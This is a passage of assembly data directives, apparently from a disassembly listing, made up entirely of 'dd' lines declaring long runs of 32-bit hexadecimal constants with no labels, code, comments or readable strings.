		dd 2AB55D07h, 0FC6F2817h, 0F9F19247h, 9020296Eh, 0BB34C428h
		dd 41D5043Bh, 2C37BF02h, 67A42301h, 0BBCE853Bh,	3F9D081h
		dd 13E3447Eh, 4398EFB1h, 16072465h, 98F31413h, 5038A310h
		dd 784E9D55h, 68818332h, 73C280FAh, 0DFEA0D12h,	0D610CA28h
		dd 0EDE9640Fh, 4F65E3FAh, 16F44BAh, 0A2F2EAD3h,	9F99BDD3h
		dd 0B71FBD10h, 988479ABh, 98293E68h, 0FE68DE28h, 562C9855h
		dd 46CB8072h, 31271D0Ah, 2A8AEA31h, 585200B6h, 96C2F65Ah
		dd 0A0751796h, 681259E8h, 8CC71E2h, 9400BDB6h, 0D7774A05h
		dd 35482B02h, 600E5F74h, 97793C55h, 2FFCD89Ch, 5A3CBE6Bh
		dd 97F4BDDFh, 2AE1C4F2h, 0A7749A9h, 380662B8h, 61FA08D0h
		dd 6B836804h, 0B61F33A2h, 0CE42C92Fh, 6054C875h, 60A09791h
		dd 37443EA8h, 0C9EA8102h, 0DD1B5A38h, 1808F128h, 139F1E58h
		dd 4260A176h, 4D105F0Eh, 0EAE2BF62h, 5205C3C3h,	3F2CC304h
		dd 71A60BFAh, 0FE860884h, 0ACCD5D5Dh, 11737BC6h, 0C720CF58h
		dd 3620495h, 8F2F5FBCh,	0B1B31677h, 0EA4D0B59h,	0B5962351h
		dd 0AAA40E53h, 6B29483Ch, 0D0FC2DCBh, 0F63F88ACh, 0FB8A50F7h
		dd 2A2C6851h, 0C2C44945h, 0B94FCBFCh, 0EDA1B3D0h, 8AC473ECh
		dd 0E16CADE8h, 96E43E9h, 85595D03h, 85C5F5EBh, 0D307D72Dh
		dd 0D37B75Ch, 3B0FC9C2h, 6D7B8140h, 97317045h, 38305676h
		dd 0BFEEC15Eh, 21D50660h, 0E9F78904h, 0A6B9562Ch, 5DA6F076h
		dd 0FF5F8C94h, 0C47B4269h, 6BE8CDh, 0F36176BEh,	0EF68111h
		dd 7FC631AAh, 0AF28C1DCh, 880191CAh, 13BD7B6Ah,	0FDD4FB51h
		dd 401DA102h, 4BFA6017h, 52F5C0A9h, 997EABBAh, 9BF0725Bh
		dd 2DCBB809h, 917DC025h, 0BA512201h, 0CEC9F130h, 0C9FE0883h
		dd 1200B252h, 0CA205AD1h, 0CC686659h, 0F93A802Ah, 9BC12854h
		dd 84E5D449h, 0DFEE7D9Dh, 59404A00h, 6D251A85h,	0D4534BE9h
		dd 0F179D1F4h, 18236717h, 0B9FFAF35h, 1A52197Ch, 0C2491641h
		dd 0AF41E557h, 2681901h, 5B55C23Bh, 0FBA18BCDh,	30DC14D7h
		dd 0EA179AB5h, 292F0EA0h, 80097238h, 970A3108h,	7A0283ABh
		dd 0E65B2311h, 722CF0A0h, 0D9538BB8h, 0A79401DDh, 0E216E5FAh
		dd 831DB8ACh, 0D94AC380h, 0F7C2BE49h, 1452FDF9h, 0F8E918B3h
		dd 0D6B15295h, 12F18016h, 9D2CFF13h, 0F5B6A328h, 2BD1EF14h
		dd 52095780h, 6256D954h, 5904E0BBh, 0CA6490ABh,	1E055F53h
		dd 55F7686Fh, 0E984485Dh, 3AFDEC2Dh, 0AF1D2200h, 0A0F3812Eh
		dd 3A07011Dh, 5893CB82h, 518EFF7Eh, 9F7BCF20h, 0E913DD29h
		dd 0C74626E3h, 2F8341A7h, 0C9468AE4h, 2AC4A481h, 68C20FFDh
		dd 8FB056B5h, 4FC54065h, 9BE817D1h, 0F76AEFC6h,	1D09507Fh
		dd 8E721413h, 28EAD332h, 97626A86h, 0FB096870h,	4B102CFFh
		dd 0A009C075h, 87FBBDFFh, 7CCFA53Eh, 2D364AACh,	898FD77Ch
		dd 0AF5AA6D1h, 0D2C24829h, 0EEF16527h, 6652FE8Bh, 5F537A31h
		dd 7C7FF1FFh, 40F8AC0Bh, 0CC31682Eh, 3732CF31h,	45B8C3Fh
		dd 20804216h, 1D816DA8h, 6FB519BBh, 0A774EBC1h,	0ACCBA392h
		dd 2A6E98DCh, 404A2C0Bh, 0FBA518CCh, 68252477h,	6BBAD6F8h
		dd 0EAA28141h, 0E978AEFCh, 5DD6AACCh, 0C9278895h, 0AC2EF3B9h
		dd 0C383A0ACh, 5E129002h, 615C4497h, 0B0CFBA6Bh, 3B27910h
		dd 0E3DD30BBh, 0C1321028h, 3F04019Eh, 8091B151h, 0B2427771h
		dd 0B48FFF6h, 0F896F930h, 0B09D610Bh, 0B55E7C38h, 0D2E48851h
		dd 86E99C01h, 0B9F43E91h, 0B0CA408Dh, 57EC595Bh, 180C927h
		dd 7C1F3EBDh, 9534287Ah, 57AC329Dh, 53D70402h, 2661ACB3h
		dd 5B6F60F9h, 28A52C0Fh, 0C37FDC8h, 9C4D784h, 0D36FA7BBh
		dd 766C3E92h, 95C1262h,	5E8207FAh, 94A0C992h, 71DB0137h
		dd 55A4295Ah, 66545C57h, 88939E24h, 273D55E4h, 0EB6D2020h
		dd 484A25C9h, 5804AE16h, 0ABCCEA09h, 68096FCEh,	0BAC6433Dh
		dd 0D43AA20Bh, 0AED90004h, 24590642h, 1748FB21h, 3B302938h
		dd 207F3C14h, 0DF2D0699h, 265B4E72h, 1FA67A9Dh,	196EA705h
		dd 432D3058h, 0ACB05E07h, 4A7B120Ch, 9006DA9Dh,	0ABAD4E44h
		dd 0DE8A0121h, 18164969h, 35312CE7h, 5FA48D5Bh,	7E534186h
		dd 4978E3E1h, 9D05425Eh, 7BFC792Ch, 0E204A800h,	4EC5E932h
		dd 0D28BA9D9h, 2F4D7901h, 0B92A64EFh, 82EB46EBh, 72ACD4E9h
		dd 458812C1h, 0A52304AFh, 0DEEFDDh, 2D0CE90Ah, 7A3240ACh
		dd 569D4D4Fh, 36EB01B5h, 6E493E78h, 0A96E650Bh,	0A5645984h
		dd 0EE202A6Ch, 88FB96A3h, 5C25D54Bh, 88F60885h,	3A5F300h
		dd 0E2683862h, 0BE18BF55h, 0E1E4252h, 54258B3Ch, 5DE9F86Fh
		dd 59070A9Eh, 0F752C683h, 127E1D6h, 0C78C1141h,	624D8A7Ah
		dd 75340F24h, 0C2B2CAE0h, 0C95CF4B5h, 1D407656h, 0BD755957h
		dd 0B7489244h, 7C7DD010h, 0BB9C840h, 7B22424Dh,	9C204A5Eh
		dd 1CA75A20h, 7FEF681h,	0EB31762Eh, 14DE2404h, 53EE0378h
		dd 0E88137F5h, 90EA5EA8h, 0E0D92DB7h, 4BDF5790h, 0D4F00122h
		dd 0EB10800Eh, 6E974597h, 0D2253AE6h, 315E1360h, 3F4153BFh
		dd 0EED0CA12h, 0C50CDD24h
		dd 55FE3758h, 0A5209B2Fh, 54F7803h, 53685A1Dh, 0C545EC69h
		dd 37BB3847h, 923CF1AEh, 40303A26h, 736ABD55h, 9A3B4C73h
		dd 5046020h, 4F4D4372h,	6E56D8CBh, 5ABD3710h, 512D04F2h
		dd 0FB093462h, 4F319482h, 0AB3DC282h, 5A0B5FD1h, 668ED151h
		dd 14FC9059h, 0CC901BE2h, 2D3CF402h, 74EDE918h,	0DECF20E2h
		dd 79F894C3h, 37924068h, 0A103D5B1h, 76E7A559h,	7A66F99Eh
		dd 5750BB31h, 1A2FA740h, 815F0133h, 3A2AACCFh, 42C2F07Dh
		dd 0C2959B9Dh, 1FA40FAAh, 10C3B37Bh, 21193D38h,	0EC50B3F0h
		dd 0A19DC736h, 0BF0CCC99h, 0CF2C0478h, 5D430958h, 8B774D75h
		dd 0B2A078E9h, 6617CCB9h, 0C8097900h, 0DD8F759h, 0A26400E5h
		dd 6C722D71h, 0F9E235E4h, 0D1524602h, 4058C621h, 1810297h
		dd 0BBF53DEEh, 3BB0E9F6h, 0B6B8E40Fh, 929399A3h, 0B46881DAh
		dd 2F1E20BBh, 63890EA8h, 60AB54BAh, 40144F2Ch, 4B0E9E90h
		dd 0D70A9555h, 0CDB43113h, 0F1519FEDh, 26200108h, 0FBEC09E3h
		dd 0B5366E7Fh, 791493A2h, 266302DCh, 0E7793BB3h, 0D740B5A7h
		dd 3FDEE188h, 7A48AFBFh, 0CA68140Ch, 53C0D10Eh,	650175BBh
		dd 0F3810F01h, 10963D73h, 4E94D320h, 7197F850h,	0A60B1F90h
		dd 740892F4h, 901C08B2h, 6009D24h, 975B850h, 257100C9h
		dd 32D541A4h, 44249C2Dh, 3B0BE7CEh, 0E725D4B0h,	120BCF55h
		dd 271DB722h, 4497DE4Ch, 0C62D484Eh, 1A78AC97h,	0DFF5FE2Eh
		dd 1A2D9152h, 335993F3h, 5A10D170h, 7EC2018Dh, 6E0DA27Fh
		dd 0F9E9A6C1h, 0BEAB162Eh, 0C2097307h, 0AFBF93A2h, 96450E2Ch
		dd 0D70DAE22h, 438979C5h, 29B21957h, 69FD9B30h,	63FE47E1h
		dd 0C962280Dh, 0C0E63Eh, 173B9438h, 125EF531h, 0CC3F9B68h
		dd 0AE49AB0Fh, 0F7566B04h, 33A7B36Fh, 2EF26Eh, 265C09BBh
		dd 44E01F5Eh, 373FE7F6h, 191CF4EBh, 54E6D1AAh, 5B825282h
		dd 3D9B1B02h, 7C406E05h, 8C070BBh, 4B4483C4h, 0E5EEAC8Fh
		dd 4AD5B3BBh, 2AA690B1h, 9E1058h, 0C280EA28h, 0E2059F6h
		dd 0F1865AD1h, 0D52CEE4Fh, 0E235E908h, 0D0EA2CF7h, 0BF2D4610h
		dd 40273D7Dh, 4A167FB0h, 851D4BFh, 0B1098C13h, 8FB28h
		dd 6DEA80C7h, 47B21DE9h, 382B6812h, 41C6E2CCh, 0D5A43A95h
		dd 800640A7h, 66BAC703h, 74FD8851h, 0E9EF08AAh,	531DE010h
		dd 11A14EBDh, 6FA21762h, 40682648h, 42CC255Ah, 0CCE00B9h
		dd 0E1816FF4h, 0C55C6A98h, 7E916DFh, 6037E249h,	49635EDh
		dd 50DA4EE4h, 3A81AE5Dh, 352124EFh, 33659900h, 29663ECEh
		dd 28081C68h, 11481F8h,	7850D16Ah, 0D728299Dh, 0C7FC6CB5h
		dd 81859E65h, 105D57ADh, 0F1E9EF29h, 0D49E6845h, 59D90016h
		dd 0CE8110EDh, 993217AAh, 4A5A2102h, 97373CB9h,	2FA92574h
		dd 5025D794h, 317FB95Dh, 0F64A5D2Ch, 0E5552DB5h, 25804D5Ah
		dd 0C4AD7AFDh, 8E8405B5h, 4BF3F2C8h, 10661F01h,	41C75DB2h
		dd 0D06F075Ch, 252180D0h, 6CE94709h, 6F00DCA7h,	953ED83Fh
		dd 931F2CF2h, 7EE430C9h, 12BC502Dh, 0B1636Dh, 29F7F1B0h
		dd 86F6C07Ch, 84D97248h, 0B5099404h, 29F96008h,	35193D3h
		dd 164DF5EFh, 7AC1584Ah, 5F027BA9h, 8B6FEBFEh, 745B42AAh
		dd 11B254EFh, 0F9C96F9Eh, 0BEB36B5Bh, 0B16AF0FCh, 0FA4F7677h
		dd 2D5E2781h, 0E9B4FF2Ch, 8EEB96E1h, 3FE90927h,	1685E655h
		dd 485C0EB8h, 0A2CAEC8h, 3846D60Ch, 0AD4301A8h,	5EF10136h
		dd 0A0C24256h, 0EBD2FA4Bh, 7EC955DCh, 76850E8h,	9ED051B7h
		dd 6C2F4251h, 53551108h, 654AA868h, 0C0525CCBh,	0AA7B7FA7h
		dd 9C74240h, 2F087DC3h,	0A05163D7h, 0CAB5905h, 0CA96E987h
		dd 0F49F5838h, 1737C3C1h, 0C6047584h, 0C01C685Dh, 6E3802A3h
		dd 904858h, 4C21FC0Bh, 7A610B12h, 24BA020Fh, 561E3D69h
		dd 6FC1C1h, 23ECBDh, 814D0E71h,	0FE43ABE5h, 0FBE97E0Bh
		dd 0F5A6298Eh, 7AE2A51Bh, 0C1061874h, 0B5802E5h, 5430DECh
		dd 65204458h, 39BF001Bh, 8140DF3Dh, 7F135BCFh, 6BF50C9h
		dd 0AEFD183h, 0D3A2066Eh, 532CCBAh, 1834E609h, 2DFD051Ch
		dd 0D65A0709h, 0EB124400h, 0CA2865E5h, 2985E9B0h, 0C3D15E81h
		dd 9A1A9B30h, 0DAFD4827h, 6D350B72h, 0CBD75F27h, 8E25A137h
		dd 6BC22C57h, 0FA15499Fh, 6182F3FDh, 8E2045B9h,	8F3E8055h
		dd 5A342D23h, 1235C429h, 1A4B7608h, 9E9B0802h, 0DEEAE9CFh
		dd 5DEF8975h, 0EB3F3387h, 74683CA7h, 52398C3Dh,	7916DDF2h
		dd 20BB78F6h, 1C1D0E4Fh, 0DB913AC4h, 526C20AFh,	801CF8B6h
		dd 0EEC101C6h, 1C8AE99Eh, 0E0D60B2Ch, 70098C28h, 485A6A99h
		dd 8285391Bh, 3589DE7Eh, 4583D95Eh, 55B2BF56h, 0C8ADE90Dh
		dd 0C6D46021h, 62AECE4Fh, 305E53B2h, 5DF276C2h,	26A83FD3h
		dd 506F580Ah, 65139136h, 294C67F6h, 5807E305h, 5238219h
		dd 1469B4E1h, 415C0AC8h, 0C10B7F89h, 804AC529h,	7E03822Dh
		dd 0F0282943h, 0ABA00705h, 9D9EDBBBh, 72C6EF92h, 6FE129Ah
		dd 0F19E0489h, 1E5AA9BCh, 0E04B5005h, 4E7EF6BDh, 7A5C2D20h
		dd 0CE902453h, 0ECCC2F4Ah, 0FC4812E7h, 0E6B7011Dh, 2025A56Eh
		dd 7912925Dh, 0BD0A0BEDh, 56ED70Dh, 90E266F0h, 0CA1E022Fh
		dd 18A8B148h, 0C6218AB5h, 0BA1718CAh, 0AA9EA43Fh, 0CF0F0293h
		dd 3532A4C7h, 7FCB44C0h, 0C30CC773h, 6BE70014h,	0E92CFB01h
		dd 0D0A73032h, 0E006D0DAh, 6097B420h, 90AAE6C1h, 28FA0535h
		dd 0C4585AF5h, 0B365C22Eh, 0F8EE147Fh, 0F5D0AA97h, 3177382h
		dd 0A5891CF1h, 2530DF4Fh, 0EDB79AB3h, 78D80BD3h, 2791FAA7h
		dd 62554793h, 33E02268h, 0BD8085D2h, 0B377077Ah, 0C2EE0902h
		dd 2E7796B1h, 517F2471h, 834916AAh, 0E9C55D7Ch,	0E7A89235h
		dd 0B459CD12h, 540771Ch, 33B505B8h, 1C932208h, 5FD0ED8Fh
		dd 0C540E912h, 0B5B198EFh, 18803835h, 6872A0BEh, 80A3795Fh
		dd 66EF8807h, 0F6F84050h, 0CA4968D0h, 4BAF5B72h, 68555C1Ch
		dd 985450E5h, 594B211Ah, 9AD4E985h, 71BB2B57h, 501EE995h
		dd 5DEA09ECh, 2E424A3Dh, 8180339Ah, 0AF3732E6h,	0B951002Ah
		dd 0F2664EBh, 34549168h, 0FDF25033h, 6FD37116h,	0E6353E07h
		dd 5D2A47A2h, 67D6C5C8h, 279E8B4Ch, 0BFB5F087h,	0F5023370h
		dd 5F30553Ah, 971AFC05h, 6824E42Dh, 0C3371E5Bh,	0EB796180h
		dd 0F15B5B78h, 0A968214h, 753EAA11h, 52C9CDE8h,	68CF321Dh
		dd 16A700BDh, 3BE91B44h, 129AB1D2h, 0F36F85E5h,	0CD4210ADh
		dd 7C8B2D03h, 0FA80E39h, 3F13BECAh, 8F21C229h, 147C5C53h
		dd 0AB6E98E4h, 1720F14Ah, 192B252h, 0C780C0B7h,	3ECEE9A9h
		dd 2D80F5F2h, 57DC0C1Eh, 0F6740E97h, 4FC19CE0h,	0A6E182EAh
		dd 0BC095BAFh, 81015F25h, 23BE15Ah, 0BA61604Bh,	8D1013F2h
		dd 0FDA91471h, 2EE0333Bh, 8245429h, 695D19B0h, 0C50181A1h
		dd 0F3387F95h, 1AA5FC10h, 0E0A16853h, 95C38E3Ch, 4A049457h
		dd 0A43DEF02h, 0C499A83Fh, 0EB14854Bh, 5941D925h, 80D67196h
		dd 8235D006h, 4B5D0BA1h, 0D35BBC55h, 7B7CC7CAh,	333EF7EEh
		dd 9A094DF0h, 39277D7h,	7C2C12FEh, 38F605BDh, 0B8CF6D54h
		dd 68550FDBh, 4B491DD2h, 1EC6805Dh, 0BD56916Fh,	844077C0h
		dd 231F698h, 372C44C2h,	0F1617FCAh, 0A9DFF295h,	0CFCE8055h
		dd 0F456626Dh, 1CA0581h, 0C0495B3Ah, 3C7C9C0Dh,	76894426h
		dd 0F4A9AA8Ch, 65971835h, 29C79A7Dh, 3F4E53E2h,	8EF10BEh
		dd 0E09AED4Fh, 97F30BE9h, 0D7A0DD56h, 0EB3F1E09h, 67745446h
		dd 0AC0595C1h, 939A1020h
		dd 2925513Bh, 0EFA9C42h, 113BFB9Dh, 4753242Bh, 56346917h
		dd 212857B8h, 0E1811DA3h, 4ACC0E4Fh, 0A761E9C3h, 0AB61FCE2h
		dd 76A6E8C7h, 50D9D8B7h, 0DC5908EBh, 0B14E051Eh, 0AACEC52Dh
		dd 0BC432F02h, 0BE00F57Eh, 733541ACh, 0FA92A79Eh, 2A523A87h
		dd 87F2DD84h, 7DA66816h, 1FA0AF60h, 555485Bh, 5020E073h
		dd 32AEF30h, 0E910845Ch, 4207DC82h, 52D58851h, 0F350EE37h
		dd 0A066595Ah, 0BD85ACD3h, 34B9099Ch, 0D1EEE062h, 0EEC32020h
		dd 6A4D2810h, 0D5EB04EFh, 0AB3E55E5h, 914F0FADh, 0B3926Dh
		dd 1E472205h, 0D75D682Fh, 7D8E55E3h, 5827E591h,	5FA50A71h
		dd 18A22B9Ch, 0A77095F7h, 257BD5DCh, 6D74536Dh,	49E95558h
		dd 5E27B739h, 0E44FCCF1h, 54050E34h, 403A9959h,	0F308070Fh
		dd 0CF7D2075h, 745F1A9Dh, 327FA72Eh, 39E05D7Ch,	0F5767029h
		dd 5EE5D12Dh, 82154A86h, 38E22D7Fh, 3BB8C32Eh, 27C0C406h
		dd 9774F05h, 2EE9409Fh,	0B15145C0h, 8B80F33Ch, 84CA888Bh
		dd 0B6D792F2h, 814D6259h, 70DAA6C2h, 0BC31D57Fh, 0D2D15A4Bh
		dd 5A6C7926h, 106FE6D4h, 0ABF7EBA4h, 0CB849FB6h, 14815D82h
		dd 8365495Ch, 0F1E401F1h, 8F703113h, 2D60BBAEh,	685F0656h
		dd 2B633BF0h, 3C9DE7D2h, 0FE8104AFh, 30575155h,	782D3247h
		dd 982FE641h, 5E77C0Bh,	48E9365Dh, 2045A59Dh, 861F4A5Bh
		dd 8F53EA89h, 0BB8F8E0h, 0BF87FABh, 36073489h, 8C565BD8h
		dd 0F9C901E7h, 830F0B0Dh, 0E2EADC9Bh, 92FC450h,	98E1F2F3h
		dd 3157407Fh, 964BC3B8h, 1EB8B703h, 0D206EB03h,	0D5C2EACDh
		dd 0D3E1E787h, 0EDE26A27h, 6804A154h, 0D2B20DE4h, 8A2D9458h
		dd 0BFB5E1E3h, 43CC7361h, 0C0FABAAh, 58C87DF9h,	7A20510h
		dd 2FBA9161h, 759010A9h, 0F7E7E982h, 429F4CF7h,	2EEC4B23h
		dd 55A7F2A7h, 1D004C6Ch, 0F75FCC7Ah, 386856D5h,	7D972013h
		dd 4D05835Eh, 83BD1A5Eh, 46488300h, 76CF0D60h, 96751002h
		dd 0F97DB668h, 256D89C1h, 60065D11h, 1812F725h,	0B0AB57BCh
		dd 0B55B3D87h, 41240D97h, 43F107AFh, 0A9C2E265h, 0DC5AEDC4h
		dd 334A18D1h, 37E3F38Ah, 0D3C29DE0h, 4EA9E883h,	3C7229AEh
		dd 582A4CDh, 5E985779h,	6113FBB8h, 42AFDF54h, 5B5DEA20h
		dd 92B6715Dh, 8032A034h, 73DDC238h, 6BEBEAEAh, 67511B67h
		dd 0D0C1142Ch, 15E9A0EFh, 0C2469F81h, 285E629Ah, 2D0189E2h
		dd 0A2ED2C44h, 0B91A9357h, 0E9868DEEh, 0F8907EA7h, 7ACE3613h
		dd 911C610Fh, 0C8EC8850h, 74EA58E6h, 5A018717h,	0FB7364BEh
		dd 80D7D531h, 137F7039h, 0F05DDF69h, 8940B894h,	0EED75AF6h
		dd 4B681A28h, 193AE38Fh, 0FC7E4DB7h, 3712A122h,	0BF5629CCh
		dd 739B268Bh, 111B947h,	0A1EC6DDFh, 689CBD5Ch, 19B04BDh
		dd 84C1E8AEh, 93C15266h, 61FAD022h, 59026295h, 0C5CA98C3h
		dd 5A5E1258h, 9DC7690h,	9D715892h, 0DB186225h, 0C6976403h
		dd 66BF09CFh, 0E7703EA8h, 67A36897h, 1B4695F6h,	6C93D62Eh
		dd 110636Ah, 84C5FC4Eh,	310DDE3Fh, 67A83F48h, 0AEDDE40Eh
		dd 8EFF29CBh, 463B8994h, 6B590973h, 0EE60BE39h,	92076AF2h
		dd 742AB920h, 35E92851h, 0C74EF73Ch, 0B0DB8538h, 1B4F68D6h
		dd 5F10F2ADh, 0F45A2712h, 8F7B5618h, 0E23C7497h, 0B2F38255h
		dd 93586FADh, 9846C5EEh, 0AF316822h, 0BD5E2107h, 0FCE63D3Eh
		dd 0F697E017h, 6FA25014h, 296CCF12h, 124ED4ABh,	0A32CBB0Ah
		dd 7AC130E9h, 6E44BA0Ah, 0D0A0825Ah, 68D04011h,	0C618C125h
		dd 13235BBFh, 0B507BD5Fh, 0DADB0CBEh, 0D0A05ACDh, 0DC2863CAh
		dd 650BAD03h, 5539D85Dh, 0FB2DF905h, 7F238244h,	71A3800Fh
		dd 0D592752Ch, 0E613C85Bh, 0A4296E57h, 24E5E1D8h, 1322332Eh
		dd 3B0EB8D1h, 0F04BAF47h, 208C2067h, 2D945548h,	0B69A8233h
		dd 5C61FDC9h, 0F69E2h, 2EFE17BEh, 27198DBBh, 0CCC21D6Dh
		dd 64614C80h, 2AF35E71h, 4096B0E3h, 1A552A39h, 0D1BD5D12h
		dd 0EE9CC293h, 0ECA341CCh, 0D899FD8Dh, 4BA3680Dh, 75CA8C42h
		dd 0BB5C7140h, 0FDC696CBh, 0FF0C6969h, 0FE01F620h, 0A24BFDE9h
		dd 2DE65EFh, 4E3E14F2h,	0A36EA5Dh, 5A45DF08h, 72682C90h
		dd 544A2F11h, 0AF014B42h, 8A96AA4Ch, 5E6D365Ch,	7E38F15Bh
		dd 9E5F78A7h, 77DE9F8Eh, 8FE4F56Bh, 8685909h, 8030D530h
		dd 0DC03BB53h, 0D13B952Eh, 0B59094EBh, 76396C85h, 14A0F02Ah
		dd 0D9327604h, 46022438h, 93B9E920h, 96253F7h, 8C8745B1h
		dd 0C87022C7h, 9FFF595Fh, 22A34BBAh, 8058AC5Ch,	0B83AE1B9h
		dd 6853A0A9h, 2C061286h, 8B121731h, 4192507Dh, 0D2A00EB5h
		dd 3C022CE6h, 0E90BF91Ch, 522A48Ch, 688B2A9Eh, 0D8B0751Ah
		dd 0CE2F33FCh, 6967F410h, 0F2EC60F5h, 52201263h, 7526A014h
		dd 35C50E06h, 5FA685B9h, 52A5C732h, 0EF6C139Ah,	5E605295h
		dd 2F29AA29h, 1530C8EDh, 1225BA88h, 0BBEE015Fh,	8860312Dh
		dd 5E504C1h, 0BD1547E9h, 16083C39h, 0F5323420h,	154FD55Bh
		dd 5DF464AFh, 0FC4BE186h, 0E8855A9Fh, 84A0B3EBh, 68027CF7h
		dd 72AA74F5h, 55EA0262h, 4FD4A06h, 80AB400Eh, 87BFB43Bh
		dd 0C689AE19h, 36967EAAh, 4E1CA35Dh, 0ABCC24EEh, 0A2C5729h
		dd 50679C10h, 0C711F43h, 6468780Bh, 41A8D279h, 66142FAEh
		dd 42631709h, 0AC1064B3h, 525F1F0Ah, 51CF09CCh,	38640CE6h
		dd 683D5566h, 5744EC31h, 9D7B9948h, 0DD203ABBh,	0B646C4Fh
		dd 0B702E959h, 3D095F7Ah, 0D044C63Fh, 592C188Ch, 67460C25h
		dd 4779D41Fh, 7DBECF47h, 71C04274h, 0E3F10797h,	0BA73853Bh
		dd 76287D80h, 8ACAA1E3h, 9D642C6Eh, 942FC741h, 613AC96Eh
		dd 87D43A71h, 73C1F2BBh, 31347EAh, 0D2044D49h, 94BD1898h
		dd 0A2281201h, 3FF12145h, 5FB1B6B8h, 569266Ch, 6D6F28DCh
		dd 9D40D72Dh, 12EA4A99h, 566FE97Ah, 0FCB1392Eh,	7783F25Bh
		dd 0CCBB4F90h, 815F3147h, 35F775FAh, 0B2B867h, 64A137E0h
		dd 2741CFBDh, 4900E42Dh, 79ABF581h, 1748CE2Eh, 0C2610507h
		dd 46B4FD0Fh, 7D5D0809h, 908BE7E5h, 0A51E5906h,	5D4C8BF7h
		dd 0C9EB5CCh, 0B6B45081h, 0CB70E388h, 3E7CB5ACh, 4A18F25Bh
		dd 0D2F88263h, 0CEC5557Ah, 0AB6C163Eh, 5ECE9F50h, 3B08985Fh
		dd 0D9003DA2h, 8150423Dh, 3812ECEEh, 0A4BB1C88h, 441F1DD7h
		dd 0F6C03F12h, 4BD95EACh, 9F1E9829h, 61835DE8h,	7BCB40FEh
		dd 0B7B19C58h, 56246C14h, 4F8C0736h, 9D3DD155h,	0AC4A2406h
		dd 40618A1Dh, 0B9C7AB0h, 31F91054h, 5AD017F2h, 0A2651E49h
		dd 55D68774h, 1A3F0982h, 5EE38B40h, 0CDF4030h, 2445C7F3h
		dd 1AAF6A7Bh, 195E32FEh, 5B956EDAh, 0C28990F3h,	5E2F72DFh
		dd 0ADACD647h, 0E7D519A9h, 0B1DD2F07h, 0D62A5976h, 6E9508C5h
		dd 1F681036h, 21E9160Ah, 97599AA0h, 628DB6CFh, 0C1031D75h
		dd 66768114h, 273C47Bh,	0BA13E907h, 2910B875h, 61D9B9C3h
		dd 62274BE9h, 3FC25127h, 12FA23D4h, 50B9A609h, 0AB4141B8h
		dd 1E02C83h, 0EC9C3B0Ah, 5EF71745h, 7622EB0Bh, 0C4CC72E9h
		dd 79A7E912h, 0F98B39BEh, 0C8123ECFh, 4F4FDAAAh, 0FB1AD7E3h
		dd 76633099h, 9EE8B54Bh, 7CAC688Fh, 3E402AEFh, 2FD61CB8h
		dd 862581FDh, 6428DE44h, 641DB13Ch, 6F4250D8h, 603D0821h
		dd 1540DCCEh, 574F4E4Ch, 41D3BEC0h, 7B517E2h, 551053FEh
		dd 96A70EE9h, 0DAE9EB4Ah, 2E462A74h, 0F8625FFDh, 6AE1253Ah
		dd 2F167078h, 27E80E0Fh, 1F907910h, 56A58853h, 58E284F2h
		dd 0BC54E45Bh, 2CEFF44Bh
		dd 0F49D5A68h, 700BC9C5h, 123FC747h, 28FB87DCh,	59B75BBCh
		dd 5AFE6B33h, 0FF921A2Dh, 0BD0B8117h, 41FED994h, 435158C3h
		dd 0FEECC59Ch, 3C893A8Bh, 5658D47Ch, 29980C68h,	434E0BC1h
		dd 0E46C9A97h, 0BF58ECBEh, 6C860760h, 29313A17h, 801FAF1h
		dd 0F33E5258h, 0C8EB9200h, 0B24B7188h, 249780A7h, 98A2AB2Dh
		dd 0BFACDDC4h, 0C5516B9Bh, 0A65EBE41h, 0F56DAC2Fh, 4AB199F8h
		dd 65BA2BDAh, 0A661BE60h, 0CE72D8E9h, 7A0EE410h, 58C0EC49h
		dd 930117FEh, 0D0E32806h, 0A8EF4A7Fh, 0D9ABF479h, 6603D168h
		dd 74F51187h, 3F24F202h, 1FC0322Bh, 5205660Dh, 0B62DE93Eh
		dd 0F38068ECh, 0BED09408h, 65DE012Ch, 0EA41CB18h, 1F7114AEh
		dd 1675D84Ch, 0E8A33AAFh, 0E95D04DEh, 20CACC84h, 0CB85C8Bh
		dd 0DBBA2BE9h, 0C4E7EC9Dh, 0AB1E88FCh, 4C1AFD44h, 0DA1410A3h
		dd 28064B02h, 0C423529h, 8372D709h, 3BA35631h, 0B95B9F52h
		dd 28A10712h, 0CD6762B8h, 1D091390h, 0F4D64BE9h, 682C9670h
		dd 0CB03B96Fh, 224A1Fh,	54B8F358h, 0AE907A9h, 0BCB5E25Fh
		dd 0D82F04DDh, 694477CDh, 0A8FF34Dh, 8B8BC331h,	0BB6172DCh
		dd 22F56930h, 9F5195F4h, 55EA44D1h, 0D6905A89h,	24D47A57h
		dd 1D10162h, 3B64F580h,	0E34CFAF8h, 0AD30C516h,	0FCC72FF5h
		dd 6417BE8Fh, 2701ED84h, 81674AD7h, 0AABF404Fh,	0E845A46Fh
		dd 6D6CD1F5h, 0D5FE9694h, 0D4DB8091h, 171BE7F0h, 9450DD01h
		dd 5C2FD7F8h, 0E9580FD4h, 0A091BA0Dh, 0E181AC87h, 0D36CE67Fh
		dd 85CE021h, 9FC4093Ch,	50310910h, 0CF7254B2h, 0F62D005Eh
		dd 52CD30Ch, 0D70615BAh, 0B194E936h, 0F74A1930h, 868104D2h
		dd 16DE1032h, 0C24B11h,	0D60114ACh, 785EB7E9h, 0FCA21B67h
		dd 695C0927h, 0C8E10612h, 27030160h, 70601B64h,	6C121FE2h
		dd 230060F5h, 39634FCAh, 0B564C131h, 2B8E4690h,	0C9376481h
		dd 96D882Ah, 0A71C6F3Dh, 2C22847Bh, 0CFC877C3h,	1C1E87A4h
		dd 59EA0135h, 3008E2C0h, 80829F54h, 7C181BF4h, 6C0CC102h
		dd 96EFC211h, 82EF5ACCh, 0E4403636h, 7F49E943h,	0E3301D92h
		dd 0CB47AECAh, 5880F6A7h, 578222DAh, 7C97F269h,	0A3D848A8h
		dd 0A8AFA45Ch, 75ADB11Fh, 1D045900h, 0BBB25203h, 0C35AD028h
		dd 2CF0A9ECh, 4EF472BDh, 84F1EC1Dh, 5B0990F7h, 9EF65009h
		dd 557F40AFh, 0BFC4B2D4h, 76190C22h, 81067810h,	0D3F57654h
		dd 486AB539h, 8C1C7BB2h, 8BACC2D3h, 8720341Dh, 89DC6858h
		dd 87860811h, 0DA53BE72h, 0CE01CA01h, 87CF1862h, 0D6905169h
		dd 6880CA34h, 0FA3E4997h, 0F8A9D29Ch, 0B86A9DCCh, 5685F20h
		dd 0F6167BEh, 9564851Ah, 498E0B43h, 34D8C91Ah, 0C2F1AFA0h
